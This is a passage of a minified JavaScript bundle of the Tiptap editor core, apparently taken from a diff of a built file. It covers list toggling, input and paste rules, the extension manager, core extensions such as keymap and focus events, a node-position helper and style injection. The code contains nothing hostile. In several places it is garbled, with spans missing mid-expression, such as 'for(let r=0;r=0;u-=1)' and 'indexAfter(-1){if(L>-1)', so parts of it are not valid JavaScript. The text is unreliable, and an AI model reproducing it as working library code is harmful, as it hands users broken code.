c=Sn(t,r.schema),{$from:u,$to:h}=r.selection,f=r.selection.node;if(f&&f.isBlock||u.depth<2||!u.sameParent(h))return!1;const m=u.node(-1);if(m.type!==c)return!1;const g=i.extensionManager.attributes;if(u.parent.content.size===0&&u.node(-1).childCount===u.indexAfter(-1)){if(u.depth===2||u.node(-3).type!==c||u.index(-2)!==u.node(-2).childCount-1)return!1;if(a){let k=be.empty;const C=u.index(-1)?1:u.index(-2)?2:3;for(let R=u.depth-C;R>=u.depth-3;R-=1)k=be.from(u.node(R).copy(k));const E=u.indexAfter(-1){if(L>-1)return!1;R.isTextblock&&R.content.size===0&&(L=D+1)}),L>-1&&n.setSelection(Ze.near(n.doc.resolve(L))),n.scrollIntoView()}return!0}const y=h.pos===u.end()?m.contentMatchAt(0).defaultType:null,N={...nh(g,m.type.name,m.attrs),...e},w={...nh(g,u.node().type.name,u.node().attrs),...e};n.delete(u.pos,h.pos);const v=y?[{type:c,attrs:N},{type:y,attrs:w}]:[{type:c,attrs:N}];if(!ja(n.doc,u.pos,2))return!1;if(a){const{selection:k,storedMarks:C}=r,{splittableMarks:E}=i.extensionManager,T=C||k.$to.parentOffset&&k.$from.marks();if(n.split(u.pos,2,v).scrollIntoView(),!T||!a)return!0;const I=T.filter(O=>E.includes(O.type.name));n.ensureMarks(I)}return!0},sg=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(Math.max(0,n.pos-1)).before(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,n.pos)&&t.join(n.pos),!0},ag=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(n.start).after(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,r)&&t.join(r),!0},l6=(t,e,n,r={})=>({editor:a,tr:i,state:o,dispatch:c,chain:u,commands:h,can:f})=>{const{extensions:m,splittableMarks:g}=a.extensionManager,y=Sn(t,o.schema),N=Sn(e,o.schema),{selection:w,storedMarks:v}=o,{$from:k,$to:C}=w,E=k.blockRange(C),T=v||w.$to.parentOffset&&w.$from.marks();if(!E)return!1;const I=Pf(O=>bN(O.type.name,m))(w);if(E.depth>=1&&I&&E.depth-I.depth<=1){if(I.node.type===y)return h.liftListItem(N);if(bN(I.node.type.name,m)&&y.validContent(I.node.content)&&c)return u().command(()=>(i.setNodeMarkup(I.pos,y),!0)).command(()=>sg(i,y)).command(()=>ag(i,y)).run()}return!n||!T||!c?u().command(()=>f().wrapInList(y,r)?!0:h.clearNodes()).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run():u().command(()=>{const O=f().wrapInList(y,r),L=T.filter(R=>g.includes(R.type.name));return i.ensureMarks(L),O?!0:h.clearNodes()}).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run()},c6=(t,e={},n={})=>({state:r,commands:a})=>{const{extendEmptyMarkRange:i=!1}=n,o=Ta(t,r.schema);return ox(r,o,e)?a.unsetMark(o,{extendEmptyMarkRange:i}):a.setMark(o,e)},d6=(t,e,n={})=>({state:r,commands:a})=>{const i=Sn(t,r.schema),o=Sn(e,r.schema),c=Ni(r,i,n);let u;return r.selection.$anchor.sameParent(r.selection.$head)&&(u=r.selection.$anchor.parent.attrs),c?a.setNode(o,u):a.setNode(i,{...u,...n})},u6=(t,e={})=>({state:n,commands:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?r.lift(a):r.wrapIn(a,e)},h6=()=>({state:t,dispatch:e})=>{const n=t.plugins;for(let r=0;r=0;u-=1)o.step(c.steps[u].invert(c.docs[u]));if(i.text){const u=o.doc.resolve(i.from).marks();o.replaceWith(i.from,i.to,t.schema.text(i.text,u))}else o.delete(i.from,i.to)}return!0}}return!1},f6=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,{empty:r,ranges:a}=n;return r||e&&a.forEach(i=>{t.removeMark(i.$from.pos,i.$to.pos)}),!0},p6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{var i;const{extendEmptyMarkRange:o=!1}=e,{selection:c}=n,u=Ta(t,r.schema),{$from:h,empty:f,ranges:m}=c;if(!a)return!0;if(f&&o){let{from:g,to:y}=c;const N=(i=h.marks().find(v=>v.type===u))==null?void 0:i.attrs,w=E0(h,u,N);w&&(g=w.from,y=w.to),n.removeMark(g,y,u)}else m.forEach(g=>{n.removeMark(g.$from.pos,g.$to.pos,u)});return n.removeStoredMark(u),!0},m6=t=>({tr:e,state:n,dispatch:r})=>{const{selection:a}=n;let i,o;return typeof t=="number"?(i=t,o=t):t&&"from"in t&&"to"in t?(i=t.from,o=t.to):(i=a.from,o=a.to),r&&e.doc.nodesBetween(i,o,(c,u)=>{if(c.isText)return;const h={...c.attrs};delete h.dir,e.setNodeMarkup(u,void 0,h)}),!0},g6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;let g,y,N,w;n.selection.empty?r.doc.nodesBetween(f,m,(v,k)=>{i&&i===v.type&&(u=!0,N=Math.max(k,f),w=Math.min(k+v.nodeSize,m),g=k,y=v)}):r.doc.nodesBetween(f,m,(v,k)=>{k=f&&k<=m&&(i&&i===v.type&&(u=!0,a&&n.setNodeMarkup(k,void 0,{...v.attrs,...e})),o&&v.marks.length&&v.marks.forEach(C=>{if(o===C.type&&(u=!0,a)){const E=Math.max(k,f),T=Math.min(k+v.nodeSize,m);n.addMark(E,T,o.create({...C.attrs,...e}))}}))}),y&&(g!==void 0&&a&&n.setNodeMarkup(g,void 0,{...y.attrs,...e}),o&&y.marks.length&&y.marks.forEach(v=>{o===v.type&&a&&n.addMark(N,w,o.create({...v.attrs,...e}))}))}),u},x6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return UO(a,e)(n,r)},y6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return KO(a,e)(n,r)},b6=class{constructor(){this.callbacks={}}on(t,e){return this.callbacks[t]||(this.callbacks[t]=[]),this.callbacks[t].push(e),this}emit(t,...e){const n=this.callbacks[t];return n&&n.forEach(r=>r.apply(this,e)),this}off(t,e){const n=this.callbacks[t];return n&&(e?this.callbacks[t]=n.filter(r=>r!==e):delete this.callbacks[t]),this}once(t,e){const n=(...r)=>{this.off(t,n),e.apply(this,r)};return this.on(t,n)}removeAllListeners(){this.callbacks={}}},Df=class{constructor(t){var e;this.find=t.find,this.handler=t.handler,this.undoable=(e=t.undoable)!=null?e:!0}},v6=(t,e)=>{if(C0(e))return e.exec(t);const n=e(t);if(!n)return null;const r=[n.text];return r.index=n.index,r.input=t,r.data=n.data,n.replaceWith&&(n.text.includes(n.replaceWith)||console.warn('[tiptap warn]: "inputRuleMatch.replaceWith" must be part of "inputRuleMatch.text".'),r.push(n.replaceWith)),r};function $u(t){var e;const{editor:n,from:r,to:a,text:i,rules:o,plugin:c}=t,{view:u}=n;if(u.composing)return!1;const h=u.state.doc.resolve(r);if(h.parent.type.spec.code||(e=h.nodeBefore||h.nodeAfter)!=null&&e.marks.find(g=>g.type.spec.code))return!1;let f=!1;const m=K8(h)+i;return o.forEach(g=>{if(f)return;const y=v6(m,g.find);if(!y)return;const N=u.state.tr,w=Af({state:u.state,transaction:N}),v={from:r-(y[0].length-i.length),to:a},{commands:k,chain:C,can:E}=new If({editor:n,state:w});g.handler({state:w,range:v,match:y,commands:k,chain:C,can:E})===null||!N.steps.length||(g.undoable&&N.setMeta(c,{transform:N,from:r,to:a,text:i}),u.dispatch(N),f=!0)}),f}function N6(t){const{editor:e,rules:n}=t,r=new Kt({state:{init(){return null},apply(a,i,o){const c=a.getMeta(r);if(c)return c;const u=a.getMeta("applyInputRules");return!!u&&setTimeout(()=>{let{text:f}=u;typeof f=="string"?f=f:f=M0(be.from(f),o.schema);const{from:m}=u,g=m+f.length;$u({editor:e,from:m,to:g,text:f,rules:n,plugin:r})}),a.selectionSet||a.docChanged?null:i}},props:{handleTextInput(a,i,o,c){return $u({editor:e,from:i,to:o,text:c,rules:n,plugin:r})},handleDOMEvents:{compositionend:a=>(setTimeout(()=>{const{$cursor:i}=a.state.selection;i&&$u({editor:e,from:i.pos,to:i.pos,text:"",rules:n,plugin:r})}),!1)},handleKeyDown(a,i){if(i.key!=="Enter")return!1;const{$cursor:o}=a.state.selection;return o?$u({editor:e,from:o.pos,to:o.pos,text:` +`,rules:n,plugin:r}):!1}},isInputRules:!0});return r}function w6(t){return Object.prototype.toString.call(t).slice(8,-1)}function Fu(t){return w6(t)!=="Object"?!1:t.constructor===Object&&Object.getPrototypeOf(t)===Object.prototype}function P2(t,e){const n={...t};return Fu(t)&&Fu(e)&&Object.keys(e).forEach(r=>{Fu(e[r])&&Fu(t[r])?n[r]=P2(t[r],e[r]):n[r]=e[r]}),n}var I0=class{constructor(t={}){this.type="extendable",this.parent=null,this.child=null,this.name="",this.config={name:this.name},this.config={...this.config,...t},this.name=this.config.name}get options(){return{...jt(Ke(this,"addOptions",{name:this.name}))||{}}}get storage(){return{...jt(Ke(this,"addStorage",{name:this.name,options:this.options}))||{}}}configure(t={}){const e=this.extend({...this.config,addOptions:()=>P2(this.options,t)});return e.name=this.name,e.parent=this.parent,e}extend(t={}){const e=new this.constructor({...this.config,...t});return e.parent=this,this.child=e,e.name="name"in t?t.name:e.parent.name,e}},Ao=class O2 extends I0{constructor(){super(...arguments),this.type="mark"}static create(e={}){const n=typeof e=="function"?e():e;return new O2(n)}static handleExit({editor:e,mark:n}){const{tr:r}=e.state,a=e.state.selection.$from;if(a.pos===a.end()){const o=a.marks();if(!!!o.find(h=>(h==null?void 0:h.type.name)===n.name))return!1;const u=o.find(h=>(h==null?void 0:h.type.name)===n.name);return u&&r.removeStoredMark(u),r.insertText(" ",a.pos),e.view.dispatch(r),!0}return!1}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}};function j6(t){return typeof t=="number"}var k6=class{constructor(t){this.find=t.find,this.handler=t.handler}},S6=(t,e,n)=>{if(C0(e))return[...t.matchAll(e)];const r=e(t,n);return r?r.map(a=>{const i=[a.text];return i.index=a.index,i.input=t,i.data=a.data,a.replaceWith&&(a.text.includes(a.replaceWith)||console.warn('[tiptap warn]: "pasteRuleMatch.replaceWith" must be part of "pasteRuleMatch.text".'),i.push(a.replaceWith)),i}):[]};function C6(t){const{editor:e,state:n,from:r,to:a,rule:i,pasteEvent:o,dropEvent:c}=t,{commands:u,chain:h,can:f}=new If({editor:e,state:n}),m=[];return n.doc.nodesBetween(r,a,(y,N)=>{var w,v,k,C,E;if((v=(w=y.type)==null?void 0:w.spec)!=null&&v.code||!(y.isText||y.isTextblock||y.isInline))return;const T=(E=(C=(k=y.content)==null?void 0:k.size)!=null?C:y.nodeSize)!=null?E:0,I=Math.max(r,N),O=Math.min(a,N+T);if(I>=O)return;const L=y.isText?y.text||"":y.textBetween(I-N,O-N,void 0,"");S6(L,i.find,o).forEach(D=>{if(D.index===void 0)return;const z=I+D.index+1,Z=z+D[0].length,ne={from:n.tr.mapping.map(z),to:n.tr.mapping.map(Z)},fe=i.handler({state:n,range:ne,match:D,commands:u,chain:h,can:f,pasteEvent:o,dropEvent:c});m.push(fe)})}),m.every(y=>y!==null)}var Bu=null,E6=t=>{var e;const n=new ClipboardEvent("paste",{clipboardData:new DataTransfer});return(e=n.clipboardData)==null||e.setData("text/html",t),n};function T6(t){const{editor:e,rules:n}=t;let r=null,a=!1,i=!1,o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,c;try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}const u=({state:f,from:m,to:g,rule:y,pasteEvt:N})=>{const w=f.tr,v=Af({state:f,transaction:w});if(!(!C6({editor:e,state:v,from:Math.max(m-1,0),to:g.b-1,rule:y,pasteEvent:N,dropEvent:c})||!w.steps.length)){try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}return o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,w}};return n.map(f=>new Kt({view(m){const g=N=>{var w;r=(w=m.dom.parentElement)!=null&&w.contains(N.target)?m.dom.parentElement:null,r&&(Bu=e)},y=()=>{Bu&&(Bu=null)};return window.addEventListener("dragstart",g),window.addEventListener("dragend",y),{destroy(){window.removeEventListener("dragstart",g),window.removeEventListener("dragend",y)}}},props:{handleDOMEvents:{drop:(m,g)=>{if(i=r===m.dom.parentElement,c=g,!i){const y=Bu;y!=null&&y.isEditable&&setTimeout(()=>{const N=y.state.selection;N&&y.commands.deleteRange({from:N.from,to:N.to})},10)}return!1},paste:(m,g)=>{var y;const N=(y=g.clipboardData)==null?void 0:y.getData("text/html");return o=g,a=!!(N!=null&&N.includes("data-pm-slice")),!1}}},appendTransaction:(m,g,y)=>{const N=m[0],w=N.getMeta("uiEvent")==="paste"&&!a,v=N.getMeta("uiEvent")==="drop"&&!i,k=N.getMeta("applyPasteRules"),C=!!k;if(!w&&!v&&!C)return;if(C){let{text:I}=k;typeof I=="string"?I=I:I=M0(be.from(I),y.schema);const{from:O}=k,L=O+I.length,R=E6(I);return u({rule:f,state:y,from:O,to:{b:L},pasteEvt:R})}const E=g.doc.content.findDiffStart(y.doc.content),T=g.doc.content.findDiffEnd(y.doc.content);if(!(!j6(E)||!T||E===T.b))return u({rule:f,state:y,from:E,to:T,pasteEvt:o})}}))}var Lf=class{constructor(t,e){this.splittableMarks=[],this.editor=e,this.baseExtensions=t,this.extensions=S2(t),this.schema=$8(this.extensions,e),this.setupExtensions()}get commands(){return this.extensions.reduce((t,e)=>{const n={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)},r=Ke(e,"addCommands",n);return r?{...t,...r()}:t},{})}get plugins(){const{editor:t}=this;return Wc([...this.extensions].reverse()).flatMap(r=>{const a={name:r.name,options:r.options,storage:this.editor.extensionStorage[r.name],editor:t,type:Ec(r.name,this.schema)},i=[],o=Ke(r,"addKeyboardShortcuts",a);let c={};if(r.type==="mark"&&Ke(r,"exitable",a)&&(c.ArrowRight=()=>Ao.handleExit({editor:t,mark:r})),o){const g=Object.fromEntries(Object.entries(o()).map(([y,N])=>[y,()=>N({editor:t})]));c={...c,...g}}const u=VL(c);i.push(u);const h=Ke(r,"addInputRules",a);if(yN(r,t.options.enableInputRules)&&h){const g=h();if(g&&g.length){const y=N6({editor:t,rules:g}),N=Array.isArray(y)?y:[y];i.push(...N)}}const f=Ke(r,"addPasteRules",a);if(yN(r,t.options.enablePasteRules)&&f){const g=f();if(g&&g.length){const y=T6({editor:t,rules:g});i.push(...y)}}const m=Ke(r,"addProseMirrorPlugins",a);if(m){const g=m();i.push(...g)}return i})}get attributes(){return k2(this.extensions)}get nodeViews(){const{editor:t}=this,{nodeExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ke(n,"addNodeView")).map(n=>{const r=this.attributes.filter(u=>u.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Sn(n.name,this.schema)},i=Ke(n,"addNodeView",a);if(!i)return[];const o=i();if(!o)return[];const c=(u,h,f,m,g)=>{const y=cd(u,r);return o({node:u,view:h,getPos:f,decorations:m,innerDecorations:g,editor:t,extension:n,HTMLAttributes:y})};return[n.name,c]}))}dispatchTransaction(t){const{editor:e}=this;return Wc([...this.extensions].reverse()).reduceRight((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ke(a,"dispatchTransaction",i);return o?c=>{o.call(i,{transaction:c,next:r})}:r},t)}transformPastedHTML(t){const{editor:e}=this;return Wc([...this.extensions]).reduce((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ke(a,"transformPastedHTML",i);return o?(c,u)=>{const h=r(c,u);return o.call(i,h)}:r},t||(r=>r))}get markViews(){const{editor:t}=this,{markExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ke(n,"addMarkView")).map(n=>{const r=this.attributes.filter(c=>c.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Ta(n.name,this.schema)},i=Ke(n,"addMarkView",a);if(!i)return[];const o=(c,u,h)=>{const f=cd(c,r);return i()({mark:c,view:u,inline:h,editor:t,extension:n,HTMLAttributes:f,updateAttributes:m=>{H6(c,t,m)}})};return[n.name,o]}))}setupExtensions(){const t=this.extensions;this.editor.extensionStorage=Object.fromEntries(t.map(e=>[e.name,e.storage])),t.forEach(e=>{var n;const r={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)};e.type==="mark"&&((n=jt(Ke(e,"keepOnSplit",r)))==null||n)&&this.splittableMarks.push(e.name);const a=Ke(e,"onBeforeCreate",r),i=Ke(e,"onCreate",r),o=Ke(e,"onUpdate",r),c=Ke(e,"onSelectionUpdate",r),u=Ke(e,"onTransaction",r),h=Ke(e,"onFocus",r),f=Ke(e,"onBlur",r),m=Ke(e,"onDestroy",r);a&&this.editor.on("beforeCreate",a),i&&this.editor.on("create",i),o&&this.editor.on("update",o),c&&this.editor.on("selectionUpdate",c),u&&this.editor.on("transaction",u),h&&this.editor.on("focus",h),f&&this.editor.on("blur",f),m&&this.editor.on("destroy",m)})}};Lf.resolve=S2;Lf.sort=Wc;Lf.flatten=T0;var M6={};S0(M6,{ClipboardTextSerializer:()=>L2,Commands:()=>_2,Delete:()=>z2,Drop:()=>$2,Editable:()=>F2,FocusEvents:()=>V2,Keymap:()=>H2,Paste:()=>W2,Tabindex:()=>U2,TextDirection:()=>K2,focusEventsPluginKey:()=>B2});var mn=class D2 extends I0{constructor(){super(...arguments),this.type="extension"}static create(e={}){const n=typeof e=="function"?e():e;return new D2(n)}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}},L2=mn.create({name:"clipboardTextSerializer",addOptions(){return{blockSeparator:void 0}},addProseMirrorPlugins(){return[new Kt({key:new tn("clipboardTextSerializer"),props:{clipboardTextSerializer:()=>{const{editor:t}=this,{state:e,schema:n}=t,{doc:r,selection:a}=e,{ranges:i}=a,o=Math.min(...i.map(f=>f.$from.pos)),c=Math.max(...i.map(f=>f.$to.pos)),u=E2(n);return C2(r,{from:o,to:c},{...this.options.blockSeparator!==void 0?{blockSeparator:this.options.blockSeparator}:{},textSerializers:u})}}})]}}),_2=mn.create({name:"commands",addCommands(){return{...p2}}}),z2=mn.create({name:"delete",onUpdate({transaction:t,appendedTransactions:e}){var n,r,a;const i=()=>{var o,c,u,h;if((h=(u=(c=(o=this.editor.options.coreExtensionOptions)==null?void 0:o.delete)==null?void 0:c.filterTransaction)==null?void 0:u.call(c,t))!=null?h:t.getMeta("y-sync$"))return;const f=N2(t.before,[t,...e]);M2(f).forEach(y=>{f.mapping.mapResult(y.oldRange.from).deletedAfter&&f.mapping.mapResult(y.oldRange.to).deletedBefore&&f.before.nodesBetween(y.oldRange.from,y.oldRange.to,(N,w)=>{const v=w+N.nodeSize-2,k=y.oldRange.from<=w&&v<=y.oldRange.to;this.editor.emit("delete",{type:"node",node:N,from:w,to:v,newFrom:f.mapping.map(w),newTo:f.mapping.map(v),deletedRange:y.oldRange,newRange:y.newRange,partial:!k,editor:this.editor,transaction:t,combinedTransform:f})})});const g=f.mapping;f.steps.forEach((y,N)=>{var w,v;if(y instanceof ks){const k=g.slice(N).map(y.from,-1),C=g.slice(N).map(y.to),E=g.invert().map(k,-1),T=g.invert().map(C),I=(w=f.doc.nodeAt(k-1))==null?void 0:w.marks.some(L=>L.eq(y.mark)),O=(v=f.doc.nodeAt(C))==null?void 0:v.marks.some(L=>L.eq(y.mark));this.editor.emit("delete",{type:"mark",mark:y.mark,from:y.from,to:y.to,deletedRange:{from:E,to:T},newRange:{from:k,to:C},partial:!!(O||I),editor:this.editor,transaction:t,combinedTransform:f})}})};(a=(r=(n=this.editor.options.coreExtensionOptions)==null?void 0:n.delete)==null?void 0:r.async)==null||a?setTimeout(i,0):i()}}),$2=mn.create({name:"drop",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapDrop"),props:{handleDrop:(t,e,n,r)=>{this.editor.emit("drop",{editor:this.editor,event:e,slice:n,moved:r})}}})]}}),F2=mn.create({name:"editable",addProseMirrorPlugins(){return[new Kt({key:new tn("editable"),props:{editable:()=>this.editor.options.editable}})]}}),B2=new tn("focusEvents"),V2=mn.create({name:"focusEvents",addProseMirrorPlugins(){const{editor:t}=this;return[new Kt({key:B2,props:{handleDOMEvents:{focus:(e,n)=>{t.isFocused=!0;const r=t.state.tr.setMeta("focus",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1},blur:(e,n)=>{t.isFocused=!1;const r=t.state.tr.setMeta("blur",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1}}}})]}}),H2=mn.create({name:"keymap",addKeyboardShortcuts(){const t=()=>this.editor.commands.first(({commands:o})=>[()=>o.undoInputRule(),()=>o.command(({tr:c})=>{const{selection:u,doc:h}=c,{empty:f,$anchor:m}=u,{pos:g,parent:y}=m,N=m.parent.isTextblock&&g>0?c.doc.resolve(g-1):m,w=N.parent.type.spec.isolating,v=m.pos-m.parentOffset,k=w&&N.parent.childCount===1?v===m.pos:rt.atStart(h).from===g;return!f||!y.type.isTextblock||y.textContent.length||!k||k&&m.parent.type.name==="paragraph"?!1:o.clearNodes()}),()=>o.deleteSelection(),()=>o.joinBackward(),()=>o.selectNodeBackward()]),e=()=>this.editor.commands.first(({commands:o})=>[()=>o.deleteSelection(),()=>o.deleteCurrentNode(),()=>o.joinForward(),()=>o.selectNodeForward()]),r={Enter:()=>this.editor.commands.first(({commands:o})=>[()=>o.newlineInCode(),()=>o.createParagraphNear(),()=>o.liftEmptyBlock(),()=>o.splitBlock()]),"Mod-Enter":()=>this.editor.commands.exitCode(),Backspace:t,"Mod-Backspace":t,"Shift-Backspace":t,Delete:e,"Mod-Delete":e,"Mod-a":()=>this.editor.commands.selectAll()},a={...r},i={...r,"Ctrl-h":t,"Alt-Backspace":t,"Ctrl-d":e,"Ctrl-Alt-Backspace":e,"Alt-Delete":e,"Alt-d":e,"Ctrl-a":()=>this.editor.commands.selectTextblockStart(),"Ctrl-e":()=>this.editor.commands.selectTextblockEnd()};return Th()||b2()?i:a},addProseMirrorPlugins(){return[new Kt({key:new tn("clearDocument"),appendTransaction:(t,e,n)=>{if(t.some(w=>w.getMeta("composition")))return;const r=t.some(w=>w.docChanged)&&!e.doc.eq(n.doc),a=t.some(w=>w.getMeta("preventClearDocument"));if(!r||a)return;const{empty:i,from:o,to:c}=e.selection,u=rt.atStart(e.doc).from,h=rt.atEnd(e.doc).to;if(i||!(o===u&&c===h)||!Of(n.doc))return;const g=n.tr,y=Af({state:n,transaction:g}),{commands:N}=new If({editor:this.editor,state:y});if(N.clearNodes(),!!g.steps.length)return g}})]}}),W2=mn.create({name:"paste",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapPaste"),props:{handlePaste:(t,e,n)=>{this.editor.emit("paste",{editor:this.editor,event:e,slice:n})}}})]}}),U2=mn.create({name:"tabindex",addProseMirrorPlugins(){return[new Kt({key:new tn("tabindex"),props:{attributes:()=>this.editor.isEditable?{tabindex:"0"}:{}}})]}}),K2=mn.create({name:"textDirection",addOptions(){return{direction:void 0}},addGlobalAttributes(){if(!this.options.direction)return[];const{nodeExtensions:t}=Tl(this.extensions);return[{types:t.filter(e=>e.name!=="text").map(e=>e.name),attributes:{dir:{default:this.options.direction,parseHTML:e=>{const n=e.getAttribute("dir");return n&&(n==="ltr"||n==="rtl"||n==="auto")?n:this.options.direction},renderHTML:e=>e.dir?{dir:e.dir}:{}}}}]},addProseMirrorPlugins(){return[new Kt({key:new tn("textDirection"),props:{attributes:()=>{const t=this.options.direction;return t?{dir:t}:{}}}})]}}),A6=class Pc{constructor(e,n,r=!1,a=null){this.currentNode=null,this.actualDepth=null,this.isBlock=r,this.resolvedPos=e,this.editor=n,this.currentNode=a}get name(){return this.node.type.name}get node(){return this.currentNode||this.resolvedPos.node()}get element(){return this.editor.view.domAtPos(this.pos).node}get depth(){var e;return(e=this.actualDepth)!=null?e:this.resolvedPos.depth}get pos(){return this.resolvedPos.pos}get content(){return this.node.content}set content(e){let n=this.from,r=this.to;if(this.isBlock){if(this.content.size===0){console.error(`You can’t set content on a block node. Tried to set content on ${this.name} at ${this.pos}`);return}n=this.from+1,r=this.to-1}this.editor.commands.insertContentAt({from:n,to:r},e)}get attributes(){return this.node.attrs}get textContent(){return this.node.textContent}get size(){return this.node.nodeSize}get from(){return this.isBlock?this.pos:this.resolvedPos.start(this.resolvedPos.depth)}get range(){return{from:this.from,to:this.to}}get to(){return this.isBlock?this.pos+this.size:this.resolvedPos.end(this.resolvedPos.depth)+(this.node.isText?0:1)}get parent(){if(this.depth===0)return null;const e=this.resolvedPos.start(this.resolvedPos.depth-1),n=this.resolvedPos.doc.resolve(e);return new Pc(n,this.editor)}get before(){let e=this.resolvedPos.doc.resolve(this.from-(this.isBlock?1:2));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.from-3)),new Pc(e,this.editor)}get after(){let e=this.resolvedPos.doc.resolve(this.to+(this.isBlock?2:1));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.to+3)),new Pc(e,this.editor)}get children(){const e=[];return this.node.content.forEach((n,r)=>{const a=n.isBlock&&!n.isTextblock,i=n.isAtom&&!n.isText,o=n.isInline,c=this.pos+r+(i?0:1);if(c<0||c>this.resolvedPos.doc.nodeSize-2)return;const u=this.resolvedPos.doc.resolve(c);if(!a&&!o&&u.depth<=this.depth)return;const h=new Pc(u,this.editor,a,a||o?n:null);a&&(h.actualDepth=this.depth+1),e.push(h)}),e}get firstChild(){return this.children[0]||null}get lastChild(){const e=this.children;return e[e.length-1]||null}closest(e,n={}){let r=null,a=this.parent;for(;a&&!r;){if(a.node.type.name===e)if(Object.keys(n).length>0){const i=a.node.attrs,o=Object.keys(n);for(let c=0;c{r&&a.length>0||(o.node.type.name===e&&i.every(u=>n[u]===o.node.attrs[u])&&a.push(o),!(r&&a.length>0)&&(a=a.concat(o.querySelectorAll(e,n,r))))}),a}setAttribute(e){const{tr:n}=this.editor.state;n.setNodeMarkup(this.from,void 0,{...this.node.attrs,...e}),this.editor.view.dispatch(n)}},I6=`.ProseMirror { position: relative; } @@ -684,7 +684,7 @@ img.ProseMirror-separator { display: block; }`;function R6(t,e,n){const r=document.querySelector("style[data-tiptap-style]");if(r!==null)return r;const a=document.createElement("style");return e&&a.setAttribute("nonce",e),a.setAttribute("data-tiptap-style",""),a.innerHTML=t,document.getElementsByTagName("head")[0].appendChild(a),a}var P6=class extends b6{constructor(t={}){super(),this.css=null,this.className="tiptap",this.editorView=null,this.isFocused=!1,this.isInitialized=!1,this.extensionStorage={},this.instanceId=Math.random().toString(36).slice(2,9),this.options={element:typeof document<"u"?document.createElement("div"):null,content:"",injectCSS:!0,injectNonce:void 0,extensions:[],autofocus:!1,editable:!0,textDirection:void 0,editorProps:{},parseOptions:{},coreExtensionOptions:{},enableInputRules:!0,enablePasteRules:!0,enableCoreExtensions:!0,enableContentCheck:!1,emitContentError:!1,onBeforeCreate:()=>null,onCreate:()=>null,onMount:()=>null,onUnmount:()=>null,onUpdate:()=>null,onSelectionUpdate:()=>null,onTransaction:()=>null,onFocus:()=>null,onBlur:()=>null,onDestroy:()=>null,onContentError:({error:r})=>{throw r},onPaste:()=>null,onDrop:()=>null,onDelete:()=>null,enableExtensionDispatchTransaction:!0},this.isCapturingTransaction=!1,this.capturedTransaction=null,this.utils={getUpdatedPosition:Y8,createMappablePosition:Q8},this.setOptions(t),this.createExtensionManager(),this.createCommandManager(),this.createSchema(),this.on("beforeCreate",this.options.onBeforeCreate),this.emit("beforeCreate",{editor:this}),this.on("mount",this.options.onMount),this.on("unmount",this.options.onUnmount),this.on("contentError",this.options.onContentError),this.on("create",this.options.onCreate),this.on("update",this.options.onUpdate),this.on("selectionUpdate",this.options.onSelectionUpdate),this.on("transaction",this.options.onTransaction),this.on("focus",this.options.onFocus),this.on("blur",this.options.onBlur),this.on("destroy",this.options.onDestroy),this.on("drop",({event:r,slice:a,moved:i})=>this.options.onDrop(r,a,i)),this.on("paste",({event:r,slice:a})=>this.options.onPaste(r,a)),this.on("delete",this.options.onDelete);const e=this.createDoc(),n=x2(e,this.options.autofocus);this.editorState=xl.create({doc:e,schema:this.schema,selection:n||void 0}),this.options.element&&this.mount(this.options.element)}mount(t){if(typeof document>"u")throw new Error("[tiptap error]: The editor cannot be mounted because there is no 'document' defined in this environment.");this.createView(t),this.emit("mount",{editor:this}),this.css&&!document.head.contains(this.css)&&document.head.appendChild(this.css),window.setTimeout(()=>{this.isDestroyed||(this.options.autofocus!==!1&&this.options.autofocus!==null&&this.commands.focus(this.options.autofocus),this.emit("create",{editor:this}),this.isInitialized=!0)},0)}unmount(){if(this.editorView){const t=this.editorView.dom;t!=null&&t.editor&&delete t.editor,this.editorView.destroy()}if(this.editorView=null,this.isInitialized=!1,this.css&&!document.querySelectorAll(`.${this.className}`).length)try{typeof this.css.remove=="function"?this.css.remove():this.css.parentNode&&this.css.parentNode.removeChild(this.css)}catch(t){console.warn("Failed to remove CSS 